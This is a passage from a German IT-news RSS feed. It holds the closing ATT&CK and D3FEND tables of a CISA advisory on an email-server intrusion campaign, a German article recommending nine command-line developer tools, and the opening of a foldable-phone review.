</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
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<p class="text-align-center"><strong>ID</strong> </p>
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</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
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<tbody>
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<td>
<div class="TableCellContent SCXW46665017 BCX8">
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<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[9 Kommandozeilen-Tools, die jeder Dev braucht]]></title>
<description><![CDATA[Selbst wenn Sie dieser Anblick nicht in Verzückung versetzt – ein Blick auf diese obligatorischen Kommandozeilen-Tools lohnt sich.
					Foto: SkillUp | shutterstock.com




Manche Devs arbeiten mit der Kommandozeile (auch Command Line Interface; CLI), weil sie sie lieben – andere, weil ihnen nich...]]></description>
<link>https://tsecurity.de/de/3694428/it-security-nachrichten/9-kommandozeilen-tools-die-jeder-dev-braucht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694428/it-security-nachrichten/9-kommandozeilen-tools-die-jeder-dev-braucht/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Selbst wenn Sie dieser Anblick nicht in Verzückung versetzt - ein Blick auf diese obligatorischen Kommandozeilen-Tools lohnt sich." title="Selbst wenn Sie dieser Anblick nicht in Verzückung versetzt - ein Blick auf diese obligatorischen Kommandozeilen-Tools lohnt sich." src="https://images.computerwoche.de/bdb/3392868/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Selbst wenn Sie dieser Anblick nicht in Verzückung versetzt – ein Blick auf diese obligatorischen Kommandozeilen-Tools lohnt sich.</p></figcaption></figure><p class="imageCredit">
					Foto: SkillUp | shutterstock.com</p></div>




<p class="wp-block-paragraph">Manche Devs arbeiten mit der Kommandozeile (auch Command Line Interface; CLI), weil sie sie <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" title="lieben" target="_blank">lieben</a> – andere, weil ihnen nichts anderes übrig bleibt. Egal zu welcher Kategorie Sie sich zählen: Diese neun CLI-Tools helfen Ihrer Produktivität und Effizienz (zusätzlich) <a href="https://www.computerwoche.de/article/2816175/so-motivieren-sie-softwareentwickler.html" title="auf die Sprünge" target="_blank">auf die Sprünge</a>.</p>



<h2 class="wp-block-heading"><a href="https://tldr.sh/" target="_blank" rel="noreferrer noopener">tldr</a></h2>



<p class="wp-block-paragraph">Keine Angst, wir ersparen Ihnen an dieser Stelle eine langwierige, faszinative Abhandlung über die ganz eigene Magie, die die Unix-Shell entfaltet. Fakt ist: Wenn man mit ihr arbeiten will, ist es manchmal erforderlich, vorher ein Handbuch zu lesen. Unix Docs (auch man- oder manual pages) sind diesbezüglich allerdings ein zweischneidiges Schwert: Die benötigte Information ist vorhanden – es ist nur die Frage, wo. Den Teil der <a href="https://www.computerwoche.de/article/2791591/so-erstellen-sie-eine-moderne-dokumentation-fuer-anwendungen.html" title="Dokumentation" target="_blank">Dokumentation</a> aufzuspüren, den Sie gerade benötigen, kann ein entmutigender Task sein. Zwar kann die gute alte Befehlszeile dabei helfen – um ein offizielles Handbuch aufzurufen, genügt:</p>



<p class="wp-block-paragraph"><code>$ man </code></p>



<p class="wp-block-paragraph">Allerdings zeichnen sich man-pages vor allem durch ihre Informationsdichte aus – und die Tatsache, dass sie manchmal aktuelle Informationen für neuere Tools vermissen lassen. Das CLI-Tool <code>tldr</code> versetzt Sie in die Lage, zielgerichteter zu suchen:</p>



<p class="wp-block-paragraph"><code>$ tldr </code></p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="tldr in Aktion." title="tldr in Aktion." src="https://images.computerwoche.de/bdb/3392869/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">tldr in Aktion.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Falls Sie <code>npm</code> installiert haben, ist die <code>tldr</code>-Installation nur einen kurzen Befehl entfernt:</p>



<p class="wp-block-paragraph"><code>npm install -g tldr</code></p>



<h2 class="wp-block-heading"><a href="https://ngrok.com/download" target="_blank" rel="noreferrer noopener">ngrok</a></h2>



<p class="wp-block-paragraph">Sobald Sie <code>tldr</code> installiert haben, können Sie damit viele weitere Befehle erkunden. Zum Beispiel:</p>



<p class="wp-block-paragraph"><code>$ tldr ngrok</code></p>



<p class="wp-block-paragraph"><code>Reverse proxy that creates a secure tunnel from a public endpoint to a locally running web service.</code></p>



<p class="wp-block-paragraph">Mit <code>ngrok</code> eröffnet sich Ihnen eine stressfreie Möglichkeit, von einem Remote-Browser auf eine Entwicklungsmaschine zuzugreifen. Aber das Tool kann noch weit mehr. Sie können damit beispielsweise in der Cloud entwickeln und die Ergebnisse im Browser in Augenschein nehmen. Zudem können Sie mit <code>ngrok</code> auch schnell und einfach laufende Services über HTTPS veröffentlichen – ohne sich mit der Security-Infrastruktur herumschlagen zu müssen. Angenommen, Sie bauen einen Service Worker auf, der HTTPS benötigt, dann ist alles, was Sie für einen sicheren Kontext tun müssen, <code>ngrok</code> zu starten.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Das CLI-Tool ngrok macht Devs das Leben auf verschiedenen Ebenen leichter." title="Das CLI-Tool ngrok macht Devs das Leben auf verschiedenen Ebenen leichter." src="https://images.computerwoche.de/bdb/3392870/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Das CLI-Tool ngrok macht Devs das Leben auf verschiedenen Ebenen leichter.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Ein Beispiel, bei dem der HTTP-Port 8080 freigegeben wird:</p>



<p class="wp-block-paragraph"><code>$ ngrok http 8080</code></p>



<p class="wp-block-paragraph">Der <code>ngrok</code>-Output sieht wie folgt aus:</p>



<p class="wp-block-paragraph"><code>https://f951-34-67-117-59.ngrok-free.app -&gt; <a href="https://localhost:8080/" title="http://localhost:8080" target="_blank" rel="noopener">http://localhost:8080</a></code></p>



<p class="wp-block-paragraph">Anschließend kann jedermann die zugewiesene URL aufrufen (machen Sie sich keine Mühe).</p>



<h2 class="wp-block-heading"><a href="https://www.gnu.org/software/screen/manual/screen.html" target="_blank" rel="noreferrer noopener">screen</a></h2>



<p class="wp-block-paragraph">Mit diesem Befehlszeilen-Tool können Sie eine Shell-Sitzung mit oder ohne laufenden Prozess “beiseite legen” und sie anschließend zu einem beliebigen Zeitpunkt fortsetzen – auch wenn Sie die ursprüngliche Session beenden.</p>



<p class="wp-block-paragraph"><code>$ tldr screen</code></p>



<p class="wp-block-paragraph"><code>Hold a session open on a remote server. Manage multiple windows with a single SSH connection.</code></p>



<p class="wp-block-paragraph">Nehmen wir an, Sie starten <code>ngrok</code>, um remote auf eine <a href="https://www.computerwoche.de/article/2805798/7-webseiten-die-ihre-desktop-software-ersetzen.html" title="Webanwendung" target="_blank">Webanwendung</a> zuzugreifen: Sie starten den Prozess, lassen diesen dann in <code>screen</code> laufen und programmieren so lange etwas. Währenddessen läuft <code>ngrok</code> die ganze Zeit weiter – Sie können über <code>screen</code> jederzeit wieder darauf zugreifen. Veranschaulicht in Code würde das wie folgt aussehen:</p>



<p class="wp-block-paragraph"><code>$ screen</code></p>



<p class="wp-block-paragraph"><code>// Now we are in a new session</code></p>



<p class="wp-block-paragraph"><code>$ ngrok http 8080</code></p>



<p class="wp-block-paragraph"><code>// Now ngrok is running, exposing http port 8080</code></p>



<p class="wp-block-paragraph"><code>Type ctrl-a</code></p>



<p class="wp-block-paragraph"><code>// Now we are in screen's command mode</code></p>



<p class="wp-block-paragraph"><code>Type the "d" key, to "detach".</code></p>



<p class="wp-block-paragraph"><code>// Now you are back in the shell that you started in, while screen is running your ngrok command in the background:</code></p>



<p class="wp-block-paragraph"><code>$ screen -list</code></p>



<p class="wp-block-paragraph"><code>There is a screen on:</code></p>



<p class="wp-block-paragraph"><code> 128861.pts-0.dev3 (04/25/24 14:36:58) (Detached)</code></p>



<p class="wp-block-paragraph"><strong>Tipp</strong></p>



<p class="wp-block-paragraph"> Wenn Sie eine laufende Sitzung, in der Sie sich gerade befinden, benennen wollen, nutzen Sie die Tastenkombination Strg + A und geben <code>:sessionname </code> ein. Das ist besonders nützlich, wenn Sie mit mehreren Screen-Instanzen arbeiten wollen.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Screen ist ein umfangreiches und potentes CLI-Tool." title="Screen ist ein umfangreiches und potentes CLI-Tool." src="https://images.computerwoche.de/bdb/3392871/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Screen ist ein umfangreiches und potentes CLI-Tool.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Wenn wie im Beispiel nur eine <code>screen</code>-Instanz läuft, führt der Befehl <code>$ screen -r</code> (für “re-attach”) Sie zurück zu Ihrer <code>ngrok</code>-Sitzung. Im Fall mehrerer Screens können Sie diese mit Hilfe ihrer ID wieder aufrufen:</p>



<p class="wp-block-paragraph"><code>$ screen -r </code></p>



<p class="wp-block-paragraph">Wenn Sie Ihre Session endgültig beenden wollen, beenden Sie ngrok mit Strg + C und geben anschließend <code>exit</code> in die Kommandozeile ein.</p>



<h2 class="wp-block-heading"><a href="https://sdkman.io/" target="_blank" rel="noreferrer noopener">sdkman</a> &amp; <a href="https://github.com/nvm-sh/nvm" target="_blank" rel="noreferrer noopener">nvm</a></h2>



<p class="wp-block-paragraph">Wenn Sie <a href="https://www.computerwoche.de/article/2831436/darum-bleibt-java-relevant.html" title="Java" target="_blank">Java</a> oder <a href="https://www.computerwoche.de/article/2794625/was-javascript-von-typescript-unterscheidet.html" title="JavaScript" target="_blank">JavaScript</a> auf einem Server verwenden, sollten Sie sich mit <code>sdkman</code> (für Java) und <code>nvm</code> (für Node) vertraut machen. Beide Kommandozeilen-Tools sind nützlich, wenn es darum geht, mit mehreren Programmiersprachenversionen auf dem selben Rechner zu jonglieren – und dabei sowohl Path Adjustment als auch Umgebungsvariablen überflüssig machen. </p>



<p class="wp-block-paragraph">Mit <code>sdkman</code> können Sie beispielsweise neuere Java-Versionen erkunden und anschließend wieder zum aktuellen LTS-Release springen. Dieser Prozess wird durch das <code>sdk</code>-Kommando abstrahiert.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="sdkman zeigt alle verfügbaren Java-Installationen auf einem lokalen Rechner an - inklusive derjenigen, die gerade in Benutzung ist." title="sdkman zeigt alle verfügbaren Java-Installationen auf einem lokalen Rechner an - inklusive derjenigen, die gerade in Benutzung ist." src="https://images.computerwoche.de/bdb/3392872/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">sdkman zeigt alle verfügbaren Java-Installationen auf einem lokalen Rechner an – inklusive derjenigen, die gerade in Benutzung ist.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Zwischen den Versionen zu wechseln, gestaltet sich denkbar einfach – <code>$ sdk use java 19-open</code> führt Sie direkt zu JDK Version 19.</p>



<p class="wp-block-paragraph"><code>$ tldr sdk</code></p>



<p class="wp-block-paragraph"><code>Manage parallel versions of multiple Software Development Kits.</code></p>



<p class="wp-block-paragraph"><code>Supports Java, Groovy, Scala, Kotlin, Gradle, Maven, Vert.x and many others.</code></p>



<p class="wp-block-paragraph">Die <code>nvm</code>-Utility funktioniert ganz ähnlich:</p>



<p class="wp-block-paragraph"><code>$ tldr nvm</code></p>



<p class="wp-block-paragraph"><code>Install, uninstall or switch between Node.js versions.</code></p>



<p class="wp-block-paragraph"><code>Supports version numbers like "12.8" or "v16.13.1", and labels like "stable", "system", etc.</code></p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Ein Blick auf nvm." title="Ein Blick auf nvm." src="https://images.computerwoche.de/bdb/3392873/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Ein Blick auf nvm.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<h2 class="wp-block-heading"><a href="https://github.com/junegunn/fzf" target="_blank" rel="noreferrer noopener">fzf</a></h2>



<p class="wp-block-paragraph">Sowohl <code>grep</code> als auch <code>find</code> sind Standardbestandteile der Kommandozeilen-Befehlspalette. Allerdings sind beide Tools nicht so funktional, wie sie sein sollten. Das ruft <code>fzf</code> auf den Plan – einen “Fuzzy File Finder”. Mit “Fuzzy” ist dabei gemeint, dass die Details zu dem, was Sie suchen, nicht unbedingt klar definiert sein müssen. Ein Beispiel:</p>



<p class="wp-block-paragraph"><code>$ tldr fzf</code></p>



<p class="wp-block-paragraph"><code>Command-line fuzzy finder.</code></p>



<p class="wp-block-paragraph"><code>Similar to sk.</code></p>



<p class="wp-block-paragraph">Sobald Sie <code>fzf</code> starten, indiziert das CLI-Tool umgehend das Dateisystem, um Ergebnisvorschläge für Ihre Suchen zu unterbreiten.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="In diesem Beispiel suchen wir nach einem Projekt, an dem wir zuletzt gearbeitet haben." title="In diesem Beispiel suchen wir nach einem Projekt, an dem wir zuletzt gearbeitet haben." src="https://images.computerwoche.de/bdb/3392874/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">In diesem Beispiel suchen wir nach einem Projekt, an dem wir zuletzt gearbeitet haben.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph">Aus 878.937 Möglichkeiten hat <code>fzf</code> die 25 Dateien und Verzeichnisse ausgewählt, die unseren Anforderungen entsprechen könnten – und das völlig ohne Umwege.</p>



<h2 class="wp-block-heading"><a href="https://github.com/ogham/exa" target="_blank" rel="noreferrer noopener">exa</a></h2>



<p class="wp-block-paragraph">Mit <code>exa</code> werden langweilige alte <code>ls</code>-Listings schöner und nützlicher:</p>



<p class="wp-block-paragraph"><code>$ tldr</code></p>



<p class="wp-block-paragraph"><code>A modern replacement for ls (List directory contents).</code></p>



<p class="wp-block-paragraph">Für eine <a href="https://www.computerwoche.de/article/2834060/10-wege-zur-besseren-developer-experience.html" title="bessere Developer Experience" target="_blank">bessere Developer Experience</a> ohne mentalen Overhead statten Sie <code>ls</code> einfach mit einem <code>exa</code>-Alias aus. Das Tool respektiert die meisten <code>ls</code>-Standardoptionen – <code>exa -l</code> funktioniert also (beispielsweise) genau so, wie Sie es erwarten würden.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Exa ist das neue ls." title="Exa ist das neue ls." src="https://images.computerwoche.de/bdb/3392875/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Exa ist das neue ls.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<h2 class="wp-block-heading"><a href="https://github.com/sharkdp/bat" target="_blank" rel="noreferrer noopener">bat</a></h2>



<p class="wp-block-paragraph">Die <code>bat</code>-Utility ähnelt dem <code>cat</code>-Tool – ist aber besser:</p>



<p class="wp-block-paragraph"><code>$ tldr bat</code></p>



<p class="wp-block-paragraph"><code>Print and concatenate files.</code></p>



<p class="wp-block-paragraph"><code>A cat clone with syntax highlighting and Git integration.</code></p>



<p class="wp-block-paragraph">Es handelt sich hierbei im Wesentlichen um eine Komfort- beziehungsweise <a href="https://www.computerwoche.de/article/2821891/8-wege-um-top-entwickler-zu-halten.html" title="Developer-Experience-Optimierung" target="_blank">Developer-Experience-Optimierung</a> – ähnlich wie im Fall von <code>exa</code>. Wenn Sie <code>bat</code> verwenden, erwartet Sie ein vollwertiger File Viewer – inklusive Title, Borders, Line Numbers und insbesondere einer hilfreichen Syntax-Highlighting-Funktion für Programmiersprachen oder Konfigurationsdateien. Dabei reagiert <code>bat</code> auf less/more-Befehle – und wird mit “<code>q</code>” beendet. Die Navigation erfolgt über die Pfeiltasten.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Bat ist ein simples Dienstprogramm, das es zu einem echten Erlebnis macht, Dateien auf der Konsole zu durchsuchen." title="Bat ist ein simples Dienstprogramm, das es zu einem echten Erlebnis macht, Dateien auf der Konsole zu durchsuchen." src="https://images.computerwoche.de/bdb/3392876/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Bat ist ein simples Dienstprogramm, das es zu einem echten Erlebnis macht, Dateien auf der Konsole zu durchsuchen.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<h2 class="wp-block-heading"><a href="https://github.com/NetHack/NetHack" target="_blank" rel="noreferrer noopener">nethack</a></h2>



<p class="wp-block-paragraph">Ein absoluter Kommandozeilen-Klassiker ist <code>nethack</code> – der ursprüngliche, Konsolen-basierte ASCII <a href="https://de.wikipedia.org/wiki/NetHack" title="Dungeon Crawler" target="_blank" rel="noopener">Dungeon Crawler</a>. Das CLI-Tool wird Ihre Produktivität zwar nicht direkt ankurbeln – kann aber durchaus dabei helfen, ein paar Minuten zur Ruhe zu kommen, um komplexe Dev-Probleme zu durchdringen.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Es gibt neuere Versionen des Nethack-Konzepts - manchmal fährt man jedoch mit dem Original am besten." title="Es gibt neuere Versionen des Nethack-Konzepts - manchmal fährt man jedoch mit dem Original am besten." src="https://images.computerwoche.de/bdb/3392877/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Es gibt neuere Versionen des Nethack-Konzepts – manchmal fährt man jedoch mit dem Original am besten.</p></figcaption></figure><p class="imageCredit">
					Foto: Matthew Tyson | IDG</p></div>




<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2337138/9-command-line-jewels-for-your-developer-toolkit.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.<br></strong></p>
</div></div></div>
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</item>
<item>
<title><![CDATA[Honor Magic V6 im Test: Das fast perfekte Foldable]]></title>
<description><![CDATA[Luke Baker



Auf einen Blick



Pro




Wunderschönes, schlankes Design



Große, helle Displays



Hervorragende Kameras



Coole Software-Funktionen




Kontra




Hoher Preis



MagicOS kann gelegentlich frustrierend sein




Fazit



